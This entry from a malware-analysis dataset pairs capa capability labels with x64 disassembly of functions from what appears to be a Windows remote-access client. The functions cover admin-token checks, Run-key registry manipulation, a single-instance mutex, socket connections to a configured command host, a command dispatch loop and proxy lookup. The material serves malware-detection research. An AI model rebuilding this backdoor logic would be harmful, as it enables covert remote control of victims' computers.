joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001c34
Capabilities:
Check os version
Get token membership

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x38]
sub rsp, 0x138
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, 0x98
xor ebx, ebx
call fcn.140004dec
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x140001c7b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x140001d9a
cmp dword [rsp + 0x50], 2
jne 0x140001d94
cmp dword [rsp + 0x44], 5
jbe 0x140001d94
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001d8a
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, 4
mov dword [rbp + 0x50], ebx
lea r8, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xe]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140001cf3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001c74
cmp dword [rbp + 0x60], 3
jne 0x140001d75
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, 8
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xb]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001ce0
xor edx, edx
mov dword [rbp + 0x68], 0x44
lea r9, [rbp + 0x68]
lea r8, [rbp - 0x20]
lea ecx, [rdx + 0x1a]
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x140001d62
mov rcx, qword [rsp + 0x38]
lea r8, [rbp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x58], ebx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x140001d62
mov ebx, dword [rbp + 0x58]
jmp 0x140001d68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001d7d
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001d90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
jmp 0x140001d9a
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
add rsp, 0x138
pop rbx
pop rbp
ret
Function at 0x140001da4
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
xor edx, edx
lea rcx, [rbp - 0x45]
mov r8d, 0x98
xor ebx, ebx
call fcn.140004dec
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x49], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x140001df0
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x140001ed4
cmp dword [rbp - 0x39], 2
jne 0x140001ed2
cmp dword [rbp - 0x45], 5
jbe 0x140001ed2
mov qword [rbp + 0x6f], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x6f]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001ecc
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
xor r9d, r9d
mov dword [rbp + 0x67], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x19]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140001eba
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140001eba
mov edx, dword [rbp + 0x67]
lea ecx, [rax - 0x3a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x140001eba
mov r9d, dword [rbp + 0x67]
lea rax, [rbp + 0x67]
mov rcx, qword [rbp + 0x6f]
mov r8, rdi
mov edx, 0x19
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001ea9
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rdi]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [rax]
jmp 0x140001eaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001ec0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001ed2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140002e64
Capabilities:
Accept command line arguments
Delete registry value
Persist via run registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x68]
sub rsp, 0x168
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rsi, rax
test rax, rax
je 0x140003073
lea rax, [rbp + 0xb8]
mov r12, 0xffffffff80000001
mov rcx, r12
mov qword [rsp + 0x20], rax
mov r9d, 0xf013f
lea rdx, [0x1400010a0]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140002edc
lea r8, [rbp + 0xb8]
mov rcx, r12
lea rdx, [0x1400010a0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140003073
mov edx, 0x1000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140003062
mov rcx, qword [rbp + 0xb8]
lea rax, [rbp + 0xa0]
and dword [rbp + 0xa8], edi
lea r9, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x50]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
xor edx, edx
and qword [rsp + 0x20], rdi
xor r14d, r14d
mov dword [rbp + 0xb0], 0x104
mov dword [rbp + 0xa0], 0x1000
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x140003059
lea eax, [r14 + 1]
cmp dword [rbp + 0xa8], eax
jne 0x140002ff6
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140002ff1
mov rcx, qword [rbp + 0xb8]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r9d, 0xf013f
lea rdx, [0x1400010d0]
test eax, eax
mov rcx, r12
mov eax, 1
cmove edi, eax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140002fd6
lea r8, [rsp + 0x40]
mov rcx, r12
lea rdx, [0x1400010d0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140002ff1
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rbp + 0xb8]
lea r9, [rbp + 0xb0]
add r14d, eax
mov dword [rbp + 0xb0], 0x104
lea rax, [rbp + 0xa0]
mov dword [rbp + 0xa0], 0x1000
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x50]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov edx, r14d
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
mov eax, 1
je 0x140002f5e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x140003075
xor eax, eax
add rsp, 0x168
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140003088
Capabilities:
Accept command line arguments
Check mutex on windows
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1c0
lea r8, [0x140001198]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
xor edi, edi
mov qword [0x140006888], rax
test rax, rax
je 0x1400030c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140003229
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [0x140003d44]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, str.127.0.0.1
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140003229
lea rbx, str.111111111111111111111111
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140003229
cmp word [0x140006020], di
je 0x140003229
mov edx, 0x21
lea rcx, [0x140006758]
call fcn.14000325c
lea rcx, [0x1400066c0]
mov dword [0x1400066c0], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x14000314f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140003229
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000316e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x140003229
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r8, [0x140006890]
mov rcx, rbx
mov edx, eax
call fcn.140001588
test eax, eax
je 0x140003229
call fcn.140004384
lea rcx, str.127.0.0.1
call fcn.140003ce4
cmp eax, 0xffffffff
je 0x1400031f8
movzx edx, word [0x140006020]
mov ecx, eax
call fcn.140003858
mov rbx, rax
test rax, rax
je 0x1400031f8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, rbx
mov dword [0x140006754], eax
call fcn.140003648
mov ecx, eax
btr ecx, 0x1f
cmp ecx, 2
je 0x140003205
cmp ecx, 1
jne 0x1400031ef
test eax, eax
js 0x140003195
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140003195
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003195
test eax, eax
js 0x140003212
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call fcn.140004434
mov rcx, qword [0x140006888]
test rcx, rcx
je 0x140003229
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x1c0
pop rdi
ret
Function at 0x14000325c
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov r15, rcx
cmp edx, 0x21
jb 0x1400032b7
mov edx, 0x104
lea rcx, [rsp + 0x50]
call fcn.14000339c
xor ebx, ebx
test eax, eax
je 0x1400032b7
lea rdx, [rbp + 0x98]
mov dword [rbp + 0x98], reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x1400032d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0xa8], rbx
lea rcx, [rbp + 0xa8]
mov qword [rbp + 0xa0], rbx
mov edi, ebx
call fcn.140001820
test eax, eax
je 0x140003392
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rbp + 0xa0]
lea rdx, [rsp + 0x50]
mov r8d, eax
call fcn.1400018a0
test eax, eax
je 0x14000337f
mov r8d, dword [rbp + 0x98]
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp + 0xa0]
add r8d, r8d
call fcn.1400018a0
test eax, eax
je 0x14000337f
mov rcx, qword [rbp + 0xa0]
lea rdx, [rsp + 0x20]
call fcn.1400017f0
mov edi, eax
test eax, eax
je 0x14000337f
mov esi, ebx
lea r14, [rsp + 0x20]
movzx r8d, byte [r14]
lea rdx, [0x1400012cc]
movsxd rcx, esi
add rcx, r15
call qword [sym.imp.USER32.dll_wsprintfA]
inc ebx
add esi, 2
inc r14
cmp ebx, 0x10
jb 0x14000335b
mov rdx, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xa8]
call fcn.14000173c
mov eax, edi
jmp 0x1400032b9

Function at 0x14000339c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r15, rcx
xor ebx, ebx
lea rcx, [0x140001290]
mov r14d, edx
lea r12d, [rbx + 1]
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140001280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140003406
mov dword [rbp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x40]
call rsi
cmp dword [rbp + 0x40], ebx
mov eax, 0x101
cmovne edi, eax
lea rax, [rbp - 0x10]
mov r9d, edi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400012a0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003475
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x48]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], r15
lea rdx, [0x1400012c0]
mov dword [rbp + 0x48], r14d
mov dword [rbp + 0x40], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000346b
cmp dword [rbp + 0x40], r12d
jne 0x14000346b
cmp dword [rbp + 0x48], ebx
cmova ebx, r12d
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003648
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x240
mov rbp, rcx
mov r13d, 0x100000
mov edx, r13d
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140003836
xor edi, edi
xor r15d, r15d
mov r8, r13
xor edx, edx
mov rcx, rbx
call fcn.140004dec
test edi, edi
jne 0x1400036fc
and dword [rsp + 0x27c], r15d
lea rax, [rsp + 0x278]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x278], 0x1e
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], rbp
xor ecx, ecx
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x140003830
test eax, eax
jle 0x14000379e
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x140003696
mov r8d, r13d
movsxd r14, edi
add r14, rbx
sub r8d, edi
mov rdx, r14
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp eax, 0xffffffff
je 0x140003830
test eax, eax
je 0x140003836
cmp dword [0x140006884], r15d
je 0x140003745
mov r8d, eax
lea rcx, [0x1400069b0]
mov rdx, r14
call fcn.140004b80
add edi, esi
cmp edi, r13d
jge 0x140003836
movsxd rax, edi
cmp byte [rax + rbx - 1], 0xa
jne 0x140003696
mov byte [rax + rbx - 1], r15b
lea eax, [rdi - 2]
movsxd rcx, eax
cmp byte [rcx + rbx], 0xd
jne 0x140003773
mov byte [rcx + rbx], r15b
mov rcx, rbx
xor esi, esi
xor edi, edi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1400037cd
cmp byte [rdi + rbx], 0x20
mov rcx, rbx
je 0x1400037b3
inc esi
inc rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jl 0x140003784
jmp 0x1400037cd
jne 0x140003696
xor edx, edx
mov rcx, rbp
call fcn.140002078
jmp 0x140003696
mov dl, 0x20
call fcn.140004c78
cmp eax, 1
jle 0x1400037c9
movsxd rax, esi
lea r15, [rbx + 1]
add r15, rax
mov byte [rdi + rbx], 0
mov rax, qword [0x140006600]
xor edi, edi
test rax, rax
je 0x140003804
lea rsi, [0x140006600]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14000381a
inc rdi
mov rax, rdi
add rax, rax
mov rax, qword [rsi + rax*8]
test rax, rax
jne 0x1400037e2
lea rdx, [0x140001140]
mov rcx, rbp
call fcn.140003a50
test eax, eax
jmp 0x14000367e
add rdi, rdi
mov rdx, r15
mov rcx, rbp
call qword [rsi + rdi*inet_addr + 8]
test eax, eax
jne 0x14000383b
jmp 0x140003684
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov eax, 1
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
Function at 0x140003858
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov edi, ecx
mov esi, 2
movzx ecx, dx
mov word [rsp + 0x20], si
movzx ebx, dx
call qword [sym.imp.WS2_32.dll_htons]
and dword [0x140006884], 0
mov ecx, edi
mov word [rsp + 0x22], ax
mov dword [rsp + 0x24], edi
call qword [sym.imp.WS2_32.dll_inet_ntoa]
movzx edx, bx
mov ecx, edi
call fcn.140003910
cmp rax, 0xffffffffffffffff
jne 0x1400038ff
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400038f7
lea r8d, [rsi + 0xe]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400038e6
mov rcx, rbx
call fcn.140003490
test eax, eax
je 0x1400038ec
mov rax, rbx
jmp 0x1400038ff
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1400038fd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1400039c4
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x140003a0f
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, eax
inc eax
cmp eax, 1
jbe 0x140003a44
add ebx, ecx
cmp ebx, edi
jl 0x1400039e8
cmp dword [0x140006884], 0
je 0x140003a2a
mov r8d, edi
lea rcx, [0x1400069b0]
mov rdx, rsi
call fcn.140004b80
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x140003a2f

Function at 0x140003b5c
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rdx, rbx
mov rcx, rdi
mov r8d, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140003b90

Function at 0x140003b90
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
cmp dword [0x140006884], ebx
mov rsi, rdx
mov rbp, rcx
je 0x140003bc3
lea rcx, [0x1400068a0]
call fcn.140004b80
test edi, edi
jle 0x140003bee
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov ecx, eax
inc eax
cmp eax, 1
jbe 0x140003c08
add ebx, ecx
cmp ebx, edi
jl 0x140003bc7
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x140003bf3
Function at 0x140003ce4
Capabilities:
Resolve dns

Disassembly:
push rbx
sub rsp, 0x20
and dword [rsp + 0x38], 0
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x140003d15
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
jmp 0x140003d3c
movsx rax, word [rax + 0x12]
lea rcx, [rsp + 0x38]
mov rdx, qword [rdx + 0x18]
mov r8d, 4
cmp rax, r8
cmovb r8, rax
mov rdx, qword [rdx]
call fcn.140004dcc
mov eax, dword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret

Function at 0x140003d7c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, r8
mov rbx, rcx
cmp edx, 1
jne 0x140003e0b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x104
lea rdx, [0x140006780]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x1400012d8]
lea rcx, [0x140006780]
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x140003e0b
xor ecx, ecx
test rdi, rdi
jne 0x140003dfa
and qword [rsp + 0x28], rdi
lea r8, [0x14000323c]
and dword [rsp + 0x20], edi
mov r9, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140003e0b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003e0b
mov r9d, 1
xor r8d, r8d
mov rdx, rbx
call sym.client_amd64.exe_EntryPoint
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x140003e1c
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
movzx edi, r8w
mov esi, edx
mov rbx, rcx
test rcx, rcx
jne 0x140003e8f
lea rcx, [0x140006af8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movups xmm0, xmmword [0x140006ac0]
lea rcx, [0x140006af8]
movups xmm1, xmmword [0x140006ad0]
lea rbx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x140006ae0]
movups xmmword [rsp + 0x40], xmm1
movsd xmm1, qword [0x140006af0]
movups xmmword [rsp + 0x50], xmm0
movsd qword [rsp + 0x60], xmm1
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [rbx + 0x34]
test ecx, ecx
je 0x140003edc
sub ecx, 1
je 0x140003ecc
sub ecx, 1
je 0x140003ebc
cmp ecx, 1
jne 0x140003f40
movzx r8d, di
mov edx, esi
mov rcx, rbx
call fcn.140004904
jmp 0x140003f44
movzx r8d, di
mov edx, esi
mov rcx, rbx
call fcn.1400047bc
jmp 0x140003f44
movzx r8d, di
mov edx, esi
mov rcx, rbx
call fcn.14000444c
jmp 0x140003f44
xor r8d, r8d
lea edx, [r8 + 1]
lea ebp, [rdx + 1]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003f3a
movzx ecx, di
mov dword [rsp + 0x24], esi
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbp + 0xe]
mov word [rsp + 0x20], bp
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140003f29
mov rax, rbx
jmp 0x140003f44
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140003f40
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
or rax, 0xffffffffffffffff
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140003f5c
Capabilities:
Get proxy
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and dword [rcx], 0
lea r8, [rbp + 0x178]
mov rdi, rcx
xor edx, edx
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1400040b5
xor esi, esi
xor edx, edx
jmp 0x140004088
lea r8, [rsp + 0x30]
lea rdx, [0x1400012f8]
lea rcx, [rbp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x178]
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140004084
and dword [rbp + 0x170], eax
lea rdx, [0x140001338]
mov rcx, qword [rbp + 0x180]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x28], rax
xor r9d, r9d
and qword [rsp + 0x20], 0
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140004077
cmp dword [rbp + 0x170], 1
jbe 0x140004077
mov edx, dword [rbp + 0x170]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140004071
mov rcx, qword [rbp + 0x180]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x28], rax
lea rdx, [0x140001338]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140004066
mov rdx, rbx
mov rcx, rdi
call fcn.1400041b8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140004077
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
mov edx, esi
mov rcx, qword [rbp + 0x178]
lea r8, [rsp + 0x30]
mov r9d, 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x140003fa0
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x288]
mov eax, 1
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret